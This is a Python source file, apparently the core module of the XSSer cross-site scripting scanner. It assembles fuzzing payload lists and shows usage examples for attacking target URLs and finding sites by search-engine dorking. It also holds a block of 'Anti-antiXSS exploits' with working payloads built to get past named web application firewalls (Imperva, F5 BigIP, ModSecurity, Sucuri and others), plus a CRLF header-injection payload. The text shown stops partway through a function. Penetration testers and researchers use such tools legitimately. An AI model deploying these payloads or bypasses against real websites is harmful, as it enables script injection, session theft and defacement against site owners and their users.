123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528 |
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-"
- # vim: set expandtab tabstop=4 shiftwidth=4:
- """
- This file is part of the XSSer project, https://xsser.03c8.net
- Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
- xsser is free software; you can redistribute it and/or modify it under
- the terms of the GNU General Public License as published by the Free
- Software Foundation version 3 of the License.
- xsser is distributed in the hope that it will be useful, but WITHOUT ANY
- WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- details.
- You should have received a copy of the GNU General Public License along
- with xsser; if not, write to the Free Software Foundation, Inc., 51
- Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
- """
- import os, re, sys, datetime, hashlib, time, urllib.request, urllib.parse, urllib.error, cgi, traceback, webbrowser, random
- from random import randint
- from base64 import b64encode, b64decode
- import core.fuzzing
- import core.fuzzing.vectors
- import core.fuzzing.DCP
- import core.fuzzing.DOM
- import core.fuzzing.HTTPsr
- import core.fuzzing.heuristic
- from collections import defaultdict
- from itertools import islice, chain
- from urllib.parse import parse_qs, urlparse
- from core.curlcontrol import Curl
- from core.encdec import EncoderDecoder
- from core.options import XSSerOptions
- from core.dork import Dorker
- from core.crawler import Crawler
- from core.imagexss import ImageInjections
- from core.flashxss import FlashInjections
- from core.post.xml_exporter import xml_reporting
- from core.tokenhub import HubThread
- from core.reporter import XSSerReporter
- from core.threadpool import ThreadPool, NoResultsPending
- from core.update import Updater
- # set to emit debug messages about errors (0 = off).
- DEBUG = 0
- class xsser(EncoderDecoder, XSSerReporter):
- """
- XSSer application class
- """
- def __init__(self, mothership=None):
- self._reporter = None
- self._reporters = []
- self._landing = False
- self._ongoing_requests = 0
- self._oldcurl = []
- self._gtkdir = None
- self._webbrowser = webbrowser
- self.crawled_urls = []
- self.checked_urls = []
- self.successful_urls = []
- self.urlmalformed = False
- self.search_engines = [] # available dorking search engines
- self.search_engines.append('bing') # [26/08/2019: OK!]
- self.search_engines.append('yahoo') # [26/08/2019: OK!]
- self.search_engines.append('startpage') # [26/08/2019: OK!]
- self.search_engines.append('duck') # [26/08/2019: OK!]
- #self.search_engines.append('google')
- #self.search_engines.append('yandex')
- self.user_template = None # wizard user template
- self.user_template_conntype = "GET" # GET by default
- self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
- if not mothership:
- # no mothership so *this* is the mothership
- # start the communications hub and rock on!
- self.hub = None
- self.pool = ThreadPool(0)
- self.mothership = None
- self.final_attacks = {}
- else:
- self.hub = None
- self.mothership = mothership
- self.mothership.add_reporter(self)
- self.pool = ThreadPool(0)
- self.final_attacks = self.mothership.final_attacks
- # initialize the url encoder/decoder
- EncoderDecoder.__init__(self)
- # your unique real opponent
- self.time = datetime.datetime.now()
- # this payload comes with vector already..
- self.DEFAULT_XSS_PAYLOAD = 'XSS'
- # to be or not to be...
- self.hash_found = []
- self.hash_notfound = []
- # other hashes
- self.hashed_injections={}
- self.extra_hashed_injections={}
- self.extra_hashed_vector_url = {}
- self.final_hashes = {} # final hashes used by each method
- # some counters for checker systems
- self.errors_isalive = 0
- self.next_isalive = False
- self.flag_isalive_num = 0
- self.rounds = 0
- self.round_complete = 0
-
- # some controls about targets
- self.urlspoll = []
- # some statistics counters for connections
- self.success_connection = 0
- self.not_connection = 0
- self.forwarded_connection = 0
- self.other_connection = 0
- # some statistics counters for payloads
- self.xsr_injection = 0
- self.xsa_injection = 0
- self.coo_injection = 0
- self.manual_injection = 0
- self.auto_injection = 0
- self.dcp_injection = 0
- self.dom_injection = 0
- self.httpsr_injection = 0
- self.check_positives = 0
-
- # some statistics counters for injections found
- self.xsr_found = 0
- self.xsa_found = 0
- self.coo_found = 0
- self.manual_found = 0
- self.auto_found = 0
- self.dcp_found = 0
- self.dom_found = 0
- self.httpsr_found = 0
- self.false_positives = 0
- # some statistics counters for heuristic parameters
- self.heuris_hashes = []
- self.heuris_backslash_found = 0
- self.heuris_une_backslash_found = 0
- self.heuris_dec_backslash_found = 0
- self.heuris_backslash_notfound = 0
- self.heuris_slash_found = 0
- self.heuris_une_slash_found = 0
- self.heuris_dec_slash_found = 0
- self.heuris_slash_notfound = 0
- self.heuris_mayor_found = 0
- self.heuris_une_mayor_found = 0
- self.heuris_dec_mayor_found = 0
- self.heuris_mayor_notfound = 0
- self.heuris_minor_found = 0
- self.heuris_une_minor_found = 0
- self.heuris_dec_minor_found = 0
- self.heuris_minor_notfound = 0
- self.heuris_semicolon_found = 0
- self.heuris_une_semicolon_found = 0
- self.heuris_dec_semicolon_found = 0
- self.heuris_semicolon_notfound = 0
- self.heuris_colon_found = 0
- self.heuris_une_colon_found = 0
- self.heuris_dec_colon_found = 0
- self.heuris_colon_notfound = 0
- self.heuris_doublecolon_found = 0
- self.heuris_une_doublecolon_found = 0
- self.heuris_dec_doublecolon_found = 0
- self.heuris_doublecolon_notfound = 0
- self.heuris_equal_found = 0
- self.heuris_une_equal_found = 0
- self.heuris_dec_equal_found = 0
- self.heuris_equal_notfound = 0
- # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
- self.verbose = 2
- self.options = None
- def __del__(self):
- if not self._landing:
- self.land()
- def get_gtk_directory(self):
- if self._gtkdir:
- return self._gtkdir
- local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
- 'gtk')
- if os.path.exists(local_path):
- self._gtkdir = local_path
- return self._gtkdir
- elif os.path.exists('/usr/share/xsser/gtk'):
- self._gtkdir = '/usr/share/xsser/gtk'
- return self._gtkdir
- def set_webbrowser(self, browser):
- self._webbrowser = browser
- def set_reporter(self, reporter):
- self._reporter = reporter
- def add_reporter(self, reporter):
- self._reporters.append(reporter)
- def remove_reporter(self, reporter):
- if reporter in self._reporters:
- self._reporters.remove(reporter)
- def generate_hash(self, attack_type='default'):
- """
- Generate a new hash for a type of attack.
- """
- date = str(datetime.datetime.now())
- encoded_hash = date + attack_type
- return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
- def generate_numeric_hash(self): # 32 length as md5
- """
- Generate a new hash for numeric only XSS
- """
- newhash = ''.join(random.choice('0123456789') for i in range(32))
- return newhash
- def report(self, msg, level='info'):
- """
- Report some error from the application.
- levels: debug, info, warning, error
- """
- if self.verbose == 2:
- prefix = ""
- if level != 'info':
- prefix = "["+level+"] "
- print(msg)
- elif self.verbose:
- if level == 'error':
- sys.stdout.write("*")
- else:
- sys.stdout.write(".")
- for reporter in self._reporters:
- reporter.post(msg)
- if self._reporter:
- from twisted.internet import reactor
- reactor.callFromThread(self._reporter.post, msg)
- def set_options(self, options):
- """
- Set xsser options
- """
- self.options = options
- self._opt_request()
- def _opt_request(self):
- """
- Pass on some properties to Curl
- """
- options = self.options
- for opt in ['cookie', 'agent', 'referer',\
- 'headers', 'atype', 'acred', 'acert',
- 'proxy', 'ignoreproxy', 'timeout',
- 'delay', 'tcp_nodelay', 'retries',
- 'xforw', 'xclient', 'threads',
- 'dropcookie', 'followred', 'fli',
- 'nohead', 'isalive', 'alt', 'altm',
- 'ald'
- ]:
- if hasattr(options, opt) and getattr(options, opt):
- setattr(Curl, opt, getattr(options, opt))
- def get_payloads(self):
- """
- Process payload options and make up the payload list for the attack.
- """
- options = self.options
- # payloading sources for --auto
- payloads_fuzz = core.fuzzing.vectors.vectors
- if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
- self.options.fuzz = True
- # set a type for XSS auto-fuzzing vectors
- if options.fzz_info:
- fzz_payloads = []
- for fuzz in payloads_fuzz:
- if not fuzz["browser"] == "[Not Info]":
- fzz_payloads.append(fuzz)
- payloads_fuzz = fzz_payloads
- # set a limit for XSS auto-fuzzing vectors
- if options.fzz_num:
- try:
- options.fzz_num = int(options.fzz_num)
- except:
- options.fzz_num = len(payloads_fuzz)
- fzz_num_payloads = []
- fzz_vector = 0
- for fuzz in payloads_fuzz:
- fzz_vector = fzz_vector + 1
- if int(fzz_vector) < int(options.fzz_num)+1:
- fzz_num_payloads.append(fuzz)
- payloads_fuzz = fzz_num_payloads
- # set random order for XSS auto-fuzzing vectors
- if options.fzz_rand:
- try:
- from random import shuffle
- shuffle(payloads_fuzz) # shuffle paylods
- except:
- pass
- payloads_dcp = core.fuzzing.DCP.DCPvectors
- payloads_dom = core.fuzzing.DOM.DOMvectors
- payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
- manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
- # sustitute payload for hash to check for false positives
- self.hashed_payload = "XSS"
- checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
- # heuristic parameters
- heuristic_params = core.fuzzing.heuristic.heuristic_test
- def enable_options_heuristic(payloads):
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- return payloads
- if options.fuzz:
- payloads = payloads_fuzz
- if options.dcp:
- payloads = payloads + payloads_dcp
- if options.script:
- payloads = payloads + manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.script:
- payloads = payloads + manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payaloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.hash:
- payloads = checker_payload + payloads
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.dcp:
- payloads = payloads_dcp
- if options.script:
- payloads = payloads + manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + inducedcode
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.script:
- payloads = manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- paylaods = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads_httpsr
- if options.hash:
- payloads = checker_payload + payloads
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params
- if options.hash:
- payloads = checker_payload + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads_dom
- elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
- payloads = [{"payload":'">PAYLOAD',
- "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
- }]
- else:
- payloads = checker_payload
- return payloads
- def process_ipfuzzing(self, text):
- """
- Mask ips in given text to DWORD
- """
- ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
- for ip in ips:
- text = text.replace(ip, str(self._ipDwordEncode(ip)))
- return text
- def process_ipfuzzing_octal(self, text):
- """
- Mask ips in given text to Octal
- """
- ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
- for ip in ips:
- text = text.replace(ip, str(self._ipOctalEncode(ip)))
- return text
- def process_payloads_ipfuzzing(self, payloads):
- """
- Mask ips for all given payloads using DWORD
- """
- # ip fuzzing (DWORD)
- if self.options.Dwo:
- resulting_payloads = []
- for payload in payloads:
- payload["payload"] = self.process_ipfuzzing(payload["payload"])
- resulting_payloads.append(payload)
- return resulting_payloads
- return payloads
- def process_payloads_ipfuzzing_octal(self, payloads):
- """
- Mask ips for all given payloads using OCTAL
- """
- # ip fuzzing (OCTAL)
- if self.options.Doo:
- resulting_payloads = []
- for payload in payloads:
- payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
- resulting_payloads.append(payload)
- return resulting_payloads
- return payloads
- def get_query_string(self):
- """
- Get the supplied query string.
- """
- if self.options.postdata:
- return self.options.postdata
- elif self.options.getdata:
- return self.options.getdata
- return ""
- def attack_url(self, url, payloads, query_string):
- """
- Attack the given url checking or not if is correct.
- """
- if not self.options.nohead:
- for payload in payloads:
- self.rounds = self.rounds + 1
- self.attack_url_payload(url, payload, query_string)
- else:
- hc = Curl()
- try:
- urls = hc.do_head_check([url])
- except:
- self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
- return
- self.report("-"*50 + "\n")
- if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
- if str(hc.info()["http-code"]) in ["301"]:
- url = str(hc.info()["Location"])
- payload = ""
- query_string = ""
- elif str(hc.info()["http-code"]) in ["302"]:
- url = url + "/"
- payload = ""
- query_string = ""
- self.success_connection = self.success_connection + 1
- self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
- for payload in payloads:
- self.attack_url_payload(url, payload, query_string)
- else:
- if str(hc.info()["http-code"]) in ["405"]:
- self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
- self.success_connection = self.success_connection + 1
- for payload in payloads:
- self.attack_url_payload(url, payload, query_string)
- else:
- self.not_connection = self.not_connection + 1
- self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
- self.report("-"*50 + "\n")
- def not_keyword_exit(self):
- self.report("="*30)
- self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
- self.report("-"*25)
- self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
- self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
- self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
- self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
- self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
- self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
- self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
- self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
- self.report(" Or a mixture:\n")
- self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
- self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
- self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
- self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
- self.report("="*75 + "\n")
- if not self.options.xsser_gtk:
- sys.exit(2)
- else:
- pass
- def get_url_payload(self, url, payload, query_string, user_attack_payload):
- """
- Attack the given url with the given payload
- """
- options = self.options
- self._ongoing_attacks = {}
- if (self.options.xsa or self.options.xsr or self.options.coo):
- agent, referer, cookie = self._prepare_extra_attacks(payload)
- else:
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- agent = random.choice(agents).strip() # set random user-agent
- referer = "127.0.0.1"
- cookie = None
- if options.agent:
- agent = options.agent
- else:
- self.options.agent = agent
- if options.referer:
- referer = options.referer
- else:
- self.options.referer = referer
- if options.cookie:
- cookie = options.cookie
- else:
- self.options.cookie = cookie
- # get payload/vector
- payload_string = payload['payload'].strip()
-
- ### Anti-antiXSS exploits
- # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
- if options.phpids065:
- payload_string = 32*payload_string + payload_string
- # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
- if options.phpids070:
- payload_string = '<svg+onload=+"'+payload_string+'">'
- # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
- if options.imperva:
- payload_string = '<img src=x onerror="'+payload_string+'">'
- # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
- if options.webknight:
- payload_string = '<details ontoggle='+payload_string+'>'
- # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
- if options.f5bigip:
- payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
-
- # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
- if options.barracuda:
- payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
- # Apache / modsec [ALL] payload: special 18/02/2016
- if options.modsec:
- payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
- # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
- if options.quickdefense:
- payload_string = '<details ontoggle="'+payload_string+'">'
-
- # SucuriWAF [ALL] payload: 'ontoggle' + payload[Unicode] 18/02/2016
- if options.sucuri:
- payload_string = '<a+id="a"href=javascript%26colon;alert%26lpar;'+payload_string+'%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Y</a>'
- # Firefox 12 (and below) # 09/2019
- if options.firefox:
- payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
- # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
- if options.chrome:
- payload_string = "<script>/*///*/"+payload_string+"</script>"
- # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
- if options.iexplorer:
- payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
- # Opera 10.6 (but also IE6) # 09/2019
- if options.opera:
- payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
- # Substitute the attacking hash
- if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
- payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
- payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
- hashed_payload = payload_string
- # Imperva
- if options.imperva:
- hashed_payload = urllib.parse.urlencode({'':hashed_payload})
